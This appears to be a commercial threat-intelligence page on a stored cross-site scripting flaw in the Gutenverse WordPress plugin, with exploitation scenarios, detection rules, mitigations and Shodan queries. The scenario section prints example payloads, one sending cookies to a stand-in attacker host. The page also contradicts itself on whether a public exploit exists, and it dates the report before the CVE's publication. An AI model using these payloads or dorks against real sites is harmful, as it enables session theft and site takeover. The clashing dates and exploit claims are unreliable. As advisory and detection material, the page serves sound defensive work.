☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-19943

CVE-2026-19943 Cross-Site Scripting in WordPress
📅 PUBLISHED: 2026-08-25 00:00 UTC 🔄 UPDATED: 2026-09-23 09:39 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.20%
👁️
0.20% probability
5.0× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: <= 4.0.2
CVSS VECTOR BREAKDOWN 6.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-19943 is a Stored Cross-Site Scripting (XSS) vulnerability in the Gutenverse WordPress Blocks, Page Builder & Site Editor plugin, affecting all versions up to and including 4.0.2. The flaw resides in the plugin's handling of the titleTag block attribute, which lacks sufficient input sanitization and output escaping, allowing authenticated attackers with contributor-level access or higher to inject and persistently store arbitrary web scripts within page content. When any user—including administrators and editors—views or previews the compromised page, the injected script executes, enabling session hijacking, defacement, or further administrative compromise. The vulnerability is unpatched as of this report, and while no public exploit code or active exploitation has been confirmed, the low complexity and widespread use of WordPress block-based editors elevate the risk to affected installations.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Technical Analysis

The vulnerability is classified under CWE-79 (Cross-Site Scripting) and is specifically a Stored XSS condition in the Gutenverse plugin for WordPress. The attack vector is network-based (AV:N), requires low attack complexity (AC:L), and mandates only low-privilege authentication (PR:L) in the form of a contributor-level account. The impact is constrained to confidentiality and integrity (C:L/I:L) but expands across a scope change (S:C), meaning the execution occurs within the security context of a different privilege level than the attacker's initial access.

Vulnerability Mechanism
The root cause is insufficient input sanitization and output escaping applied to the titleTag block attribute. Gutenverse is built on the WordPress block editor (Gutenberg) architecture, where content—including custom block attributes—is often serialized within block-comment delimiters in the post_content database field. The NVD description explicitly notes that the malicious titleTag value "survives wp_kses_post on save because it is stored inside a block-comment delimiter."

WordPress's wp_kses_post function serves as an HTML sanitizer that strips disallowed tags and attributes from post content before saving. However, because the injected payload is placed inside a structured block-comment delimiter (e.g., <!-- wp:gutenverse/... {"titleTag":"...</script>..."} -->), the sanitizer does not recursively parse or evaluate the JSON-encoded attribute values within the comment. The comment structure is preserved as harmless markup from the perspective of wp_kses_post, allowing the payload to bypass the filtering stage at the time of content save.

The actual rendering of the page occurs at runtime via the do_blocks() function, which parses registered block comments and dynamically constructs the final HTML output. At this render stage, the plugin substitutes the unsanitized titleTag value directly into an HTML element—likely an HTML heading tag (h1, h2, etc.) or a wrapper element's tag name—without applying output escaping. The synthesized live HTML therefore includes the attacker-controlled script payload, which the browser subsequently executes in the context of the victim's session.

Attack Surface

  • Authenticated Users (Contributor+): The attacker requires a contributor-level account. WordPress contributor roles can typically create and edit posts but not publish them. The stored payload persists in the database once the content is saved, regardless of whether the post is published in a draft state, auto-saved, or previewed.
  • Execution Context: The rendered XSS executes in the context of any user who accesses the injected page, including administrators and editors during post previews. This is notably severe because administrator sessions carry elevated privileges, allowing the injected script to perform actions like creating rogue admin accounts, exfiltrating the database, or installing malicious plugins.
  • Insufficient escaping: The lack of output escape (e.g., using esc_html() or esc_attr() on the titleTag value before embedding it in HTML output) is the core programming flaw.

The vulnerability class is classic Stored XSS arising from untrusted input being persisted and later rendered without context-aware escaping. The escalation from contributor to admin-context execution is typical of stored XSS in content management systems, and the block-comment bypass of wp_kses_post is a known weakness pattern in Gutenberg-era plugins.

Exploitation Scenarios

Scenario 1: Direct Stored XSS via Contributor Account (Most Likely)

  1. Reconnaissance/Initial Access: The attacker identifies a WordPress site running Gutenverse plugin version 4.0.2 or earlier. This detection can be performed via Shodan dorks targeting the plugin's asset paths (e.g., /wp-content/plugins/gutenverse/css/style-*.css) or by inspecting page source for Gutenverse-specific block markup. The attacker obtains or registers a low-privilege contributor account on the target WordPress instance.

  2. Crafting the Malicious Content: The attacker creates a new post or page using the Gutenberg block editor. Within the editor, they add a Gutenverse block that utilizes the titleTag attribute (e.g., a heading or section block). Instead of entering a legitimate tag name (like "h2" or "div"), the attacker injects a crafted payload into the titleTag field, such as <img src=x onerror=alert(document.cookie)> or a more sophisticated payload that dynamically creates a script element, e.g., <svg onload=fetch('https://attacker.example/steal?c='+document.cookie)>.

  3. Persistence: The attacker saves the post (as a draft, if they lack publish rights) or submits it for review. During the WordPress save routine, wp_kses_post is invoked on the post content. However, because the malicious titleTag value lives inside a block-comment delimiter (serialized JSON within <!-- wp:... -->), wp_kses_post treats the entire comment as a single HTML comment node and does not parse the embedded JSON string. The payload is stored verbatim in the wp_posts.post_content database column.

  4. Trigger/Execution: When any user—including an administrator—previews the draft post or accesses the published page, WordPress invokes do_blocks() during content rendering. This function parses the block comment, instantiates the Gutenverse block, and generates the final HTML, substituting the attacker's titleTag value directly into an HTML tag without escaping. The malicious string becomes part of the DOM as an event-handler attribute or an HTML element that triggers JavaScript execution upon load (e.g., onerror, onload, onfocus). The script executes with the privileges of the viewing user's session.

  5. Post-Exploitation Impact: If an administrator views the page (e.g., while reviewing the pending post), the injected script can perform administrative actions via the WordPress REST API or admin-ajax endpoints using the admin's authenticated session. This includes creating a new admin user (privilege escalation from contributor to admin), modifying site options, installing backdoor plugins, or exfiltrating sensitive configuration data (database credentials, API keys). Even if only regular users view the page, the script can steal authentication cookies (if not HttpOnly), masquerade as the user, or deface the site.

Scenario 2: Post-Preview Chained Attack (Session Hijacking)

Given the NVD note that the payload "fires in administrator and editor sessions during post preview," an attacker could deliberately stage the malicious post and then socially engineer an admin to preview it (e.g., via a crafted email or notification). The execution during the preview phase occurs before the post is ever published, expanding the attack window. This chain effectively converts a contributor-level XSS into a full site takeover when a privileged user interacts with the preview.

Note: No public PoC or exploit code is available for this CVE. The attack chain above is inferred strictly from the vulnerability class (Stored XSS via unsanitized block attribute) and the technical details provided in the NVD description. Specific payload strings and block structures described are representative examples of the class, not confirmed exploit artifacts.

Impact Assessment

The vulnerability holds a CVSS v3.1 score of 6.4 (Medium), with a vector of AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N. The most significant mitigating factor is the requirement for an authenticated low-privileged account (contributor-level), which prevents fully unauthenticated attackers from leveraging this flaw. However, the scope change (S:C) means the compromise extends beyond the attacker's supplied content to the broader site context, typically at the administrator level.

Business Impact:

  • Data Confidentiality: The injected script can read sensitive data visible in the victim's admin context, including user lists, private content, and potentially the wp-config.php contents if server-side errors are triggered or via plugin vulnerabilities that allow file reads.
  • Integrity: An attacker can modify site content, alter database entries, and with admin session execution, install backdoors or change authentication mechanisms, leading to persistent compromise.
  • Availability: While the CVSS availability score is N (None), adjacent integrity compromise could lead to site defacement or denial-of-service via malicious plugin installation or server resource exhaustion.

Affected Systems: All WordPress installations running Gutenverse version 4.0.2 and earlier. The plugin's user base includes site builders who rely on its page builder and block editor features, meaning the vulnerable surface spans blogs, corporate sites, and e-commerce portal frontends.

Blast Radius: The absolute network reachability is high (AV:N), but the authentication requirement limits reach to environments with registrable accounts. In sites where user registration is closed, an attacker must first compromise a contributor account via credential stuffing or phishing. In high-privilege sessions, the impact escalates from content-level manipulation to full site takeover, potentially pivoting to the underlying server if further plugin misconfigurations exist.

Detection Guidance

Detection of this flaw focuses on identifying the stored malicious titleTag values within the WordPress database and detecting the abnormal block markup in requests, responses, and logs. Because the payload bypasses wp_kses_post, traditional server-side WAF input sanitization will likely fail to catch it at save time. Detection should therefore be layered across the content, the HTTP traffic, and the rendered DOM.

Sigma Rule

The Sigma rule below detects potentially malicious titleTag attribute values as they appear in WordPress post updates or HTTP request bodies, looking for characters that indicate HTML injection or JavaScript event handlers commonly used in XSS payloads.

title: Potential Stored XSS in Gutenverse titleTag Attribute (CVE-2026-19943)
id: 8a1f1c2e-9b3d-4e5f-8a7b-1c2d3e4f5a6b
status: experimental
description: Detects crafted titleTag values in WordPress content submissions that may indicate exploitation of CVE-2026-19943 in Gutenverse plugin.
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-19943
author: Valtersit Threat Intelligence
date: 2026/01/25
logsource:
    category: application
    product: wordpress
    service: web
detection:
    selection_injection:
        - 'titleTag' in request_body or 'titleTag' in post_meta
        - request_body|re: 'titleTag.{0,200}["\']{0,1}\s*[<>]/' 
    selection_payload_chars:
        request_body|contains:
            - '<script'
            - 'javascript:'
            - 'onerror='
            - 'onload='
            - 'onclick='
            - 'onmouseover='
            - '&lt;'
            - '&gt;'
    condition: selection_injection and selection_payload_chars
falsepositives:
    - Low chance of legitimate HTML in titleTag; most implementations use simple tag names like h2, p, div.
level: high

YARA Rule

This YARA rule scans for the serialized block comment containing the titleTag key alongside XSS payload characters within WordPress database dumps or HTTP request bodies.

rule CVE_2026_19943_Gutenverse_Stored_XSS {
    meta:
        description = "Detects Gutenverse block comments with malicious titleTag attribute (CVE-2026-19943)"
        author = "Valtersit Threat Intelligence"
        date = "2026-01-25"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2026-19943"
        severity = "high"

    strings:
        $block_marker = "wp:gutenverse/" ascii
        $attr_key = "titleTag" ascii nocase
        $payload_script = "<script" ascii nocase
        $payload_event = "onerror" ascii nocase
        $payload_js = "javascript:" ascii nocase
        $payload_html_enc = "&lt;" ascii nocase
        $payload_tag_char = {3C 73 63 72 69 70 74} // "<script"
        $close_comment = "-->" ascii

    condition:
        uint16(0) == 0x3C21 and // "<!--"
        $block_marker and $attr_key and $close_comment and
        (any of ($payload_script, $payload_event, $payload_js, $payload_html_enc, $payload_tag_char))
}

Suricata IDS Rule

The Suricata rule watches HTTP responses for the rendered block output containing suspicious event handler attributes on elements that correlate with the Gutenverse titleTag. It also inspects HTTP request bodies for the injection pattern during post saving.

alert http any any -> $HOME_NET any (msg:"CVE-2026-19943 Gutenverse Stored XSS Payload in HTTP Response"; flow:to_client,established; file_data; content:"wp:gutenverse"; content:"titleTag"; content:"onerror=\"window."; nocase; sid:202619943001; rev:1; metadata:attack_target Web_Server, created_at 2026_01_25, cve CVE-2026-19943, deployment Perimeter, signature_severity Major, tag XSS, tag Stored_XSS;)

alert http any any -> $HOME_NET any (msg:"CVE-2026-19943 Potential Gutenverse titleTag Injection in Request"; flow:to_server,established; http.request_body; pcre:"/titleTag.{0,200}(?:<|(%3C)|(&lt;))/i"; sid:202619943002; rev:1; metadata:attack_target Web_Server, created_at 2026_01_25, cve CVE-2026-19943, deployment Perimeter, signature_severity Major, tag XSS;)

Elastic Detection

The EQL query searches Elasticsearch indices containing WordPress post content (e.g., from audit logs or database sync), flagging entries where the post_content field contains a Gutenverse block comment with a titleTag attribute that includes typical XSS indicator characters.

any where
  // Looking in fields that store post content or rendered HTML
  wildcard(post_content, "*titleTag*") and
  (
    wildcard(post_content, "*<script*") or
    wildcard(post_content, "*onerror=*") or
    wildcard(post_content, "*javascript:*") or
    wildcard(post_content, "*/*")
  ) and
  // Ensure the pattern is within a Gutenverse block comment context
  stringContains(post_content, "wp:gutenverse/")

Splunk SPL Query

Splunk search that correlates between HTTP request bodies to WordPress's admin-ajax or REST endpoints and the returned responses, looking for the distinctive block comment structure. Adjust index names accordingly.

index=web sourcetype=access_combined OR sourcetype=wordpress
| search (uri="/wp-admin/post.php" OR uri="/wp-json/wp/v2/posts" OR uri="*wp-ajax*") 
    *titleTag*
| rex field=_raw "titleTag.{0,200}(?P<value><[^>]*>)"
| where value LIKE "%script%" OR value LIKE "%onerror%" OR value LIKE "%javascript:%" 
| eval severity="high", cve="CVE-2026-19943"
| table _time, src_ip, uri, value, severity, cve
| sort - _time

Wazuh OSSEC Rule

Wazuh rule scanning WordPress-related log files (e.g., audit logs, custom app logs that record post content) for the presence of the malicious pattern.

<group name="wordpress, xss,">
    <rule id="120943" level="10">
        <decoded>wp:gutenverse</decoded>
        <match>titleTag</match>
        <regex>titleTag.{0,200}(&lt;|%3C|<)</regex>
        <description>CVE-2026-19943: Potential stored XSS payload in Gutenverse titleTag attribute detected.</description>
        <mitre>
            <id>T1059.007</id>
        </mitre>
        <group>attack_execution,</group>
    </rule>
</group>

Mitigation & Patch Guidance

Patch Status: UNPATCHED — As of this report, there is no evidence of a vendor patch, update, or official remediation for CVE-2026-19943. Patch confidence is 0/4 across all tracked sources. Administrators must assume that all Gutenverse installations up to version 4.0.2 are vulnerable.

1. Immediate Mitigations (Operational):

  • Restrict contributor accounts: Disable user registration if not business-required. Audit existing contributor-level user accounts; revoke or downgrade accounts that are not actively needed. The vulnerability requires at least a contributor login, so reducing the number of such accounts shrinks the exploitable attack surface.
  • Enforce a web application firewall (WAF) rule that blocks requests to the WordPress REST API (/wp-json/wp/v2/posts or /wp-admin/post.php) containing the string titleTag in conjunction with HTML tag characters (<, >, %3C, %3E) or known XSS patterns. Note that this will not catch all payloads due to encoding variations, but it adds a coarse filter layer.
  • Harden contributor workflows: Temporarily disable the ability for contributor roles to submit posts for review, or require administrator approval before any post content is rendered publicly. Since the payload also fires on preview, administrators should be trained to preview posts only from trusted contributors and be wary of preview requests.
  • Content review: Run a one-time database scan for existing drafts/posts that contain the literal string titleTag in post_content. If found, inspect and clean the value to a standard tag name (e.g., h2). Search patterns: SELECT * FROM wp_posts WHERE post_content LIKE '%titleTag%'.

2. Patch/Upgrade Steps:

  • Monitor the official Gutenverse plugin page on the WordPress Plugin Directory (wordpress.org/plugins/gutenverse) and the vendor's changelog for the release of any version greater than 4.0.2. As of the writing of this report, none exists.
  • Subscribe to the plugin's RSS feed or security advisories. When a patched version (e.g., 4.0.3+) is released, update the plugin immediately via the WordPress admin Dashboard or automated update tooling.
  • As with all WordPress vulnerabilities, always maintain a full site backup (database + files) before applying any plugin update.

3. Long-Term Hardening:

  • Virtual patching: If using an enterprise WAF or an intrusion prevention system (IPS), check for virtual patch rules that may be added by commercial vendors for this CVE and deploy them proactively.
  • Input validation at the plugin level: If you maintain any custom fork or have the ability to fork the plugin, apply a direct fix by adding output escaping on the titleTag attribute during the block rendering phase in the plugin's render callback. Specifically, wrap the tag name with esc_html() before using it in printf or HTML concatenation.
  • Adopt least-privilege for all WordPress roles: Regularly audit user roles; WordPress's native role system allows too much power to low-tier roles. Consider restricting post creation entirely to roles that have passed a security review.
  • Routine vulnerability scanning: Integrate WordPress plugin vulnerability data feeds (e.g., WPScan, Patchstack) into your continuous monitoring pipeline to get early warning of similar block-attribute escaping issues.

References

  1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-19943 — Official NVD record containing the primary description, CVSS vector, and CWE association.
  2. CWE-79 (Cross-Site Scripting): https://cwe.mitre.org/data/definitions/79.html — Reference for the vulnerability class and common mitigation patterns.
  3. WordPress Plugin Directory — Gutenverse: https://wordpress.org/plugins/gutenverse/ — Official distribution page; monitor for future changelog entries that may indicate a patched release.
  4. WordPress Block Editor Handbook (Block Comments): https://developer.wordpress.org/block-editor/ — Technical reference that documents the block-comment serialization mechanism that enabled the wp_kses_post bypass. This resource aids in understanding why the sanitization was bypassed.

Threat Actor Intelligence: As of the report date, no known threat actor campaigns, exploit-in-the-wild evidence, or public proof-of-concept code have been reported for CVE-2026-19943. The CISA Known Exploited Vulnerabilities (KEV) catalog does not list this CVE. However, Stored XSS vulnerabilities in WordPress plugins with contributor-level authentication are frequently chained in mass website compromise campaigns (e.g., automated botnets that search for vulnerable plugins). The risk should be treated as elevated given the unpatched status and the likelihood of proactive weaponization once targeting scripts are developed.


Report prepared by: Valtersit Threat Intelligence Team
Date of Report: 2026-01-25
Classification: TLP:CLEAR

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"WordPress" http.html:"/wp-content/plugins/gutenverse/"
http.html:"wp-content/plugins/gutenverse/css/style-"
http.title:"WordPress" http.html:"gutenverse\/blocks" (http.html:"gutenverse")

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-19943/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.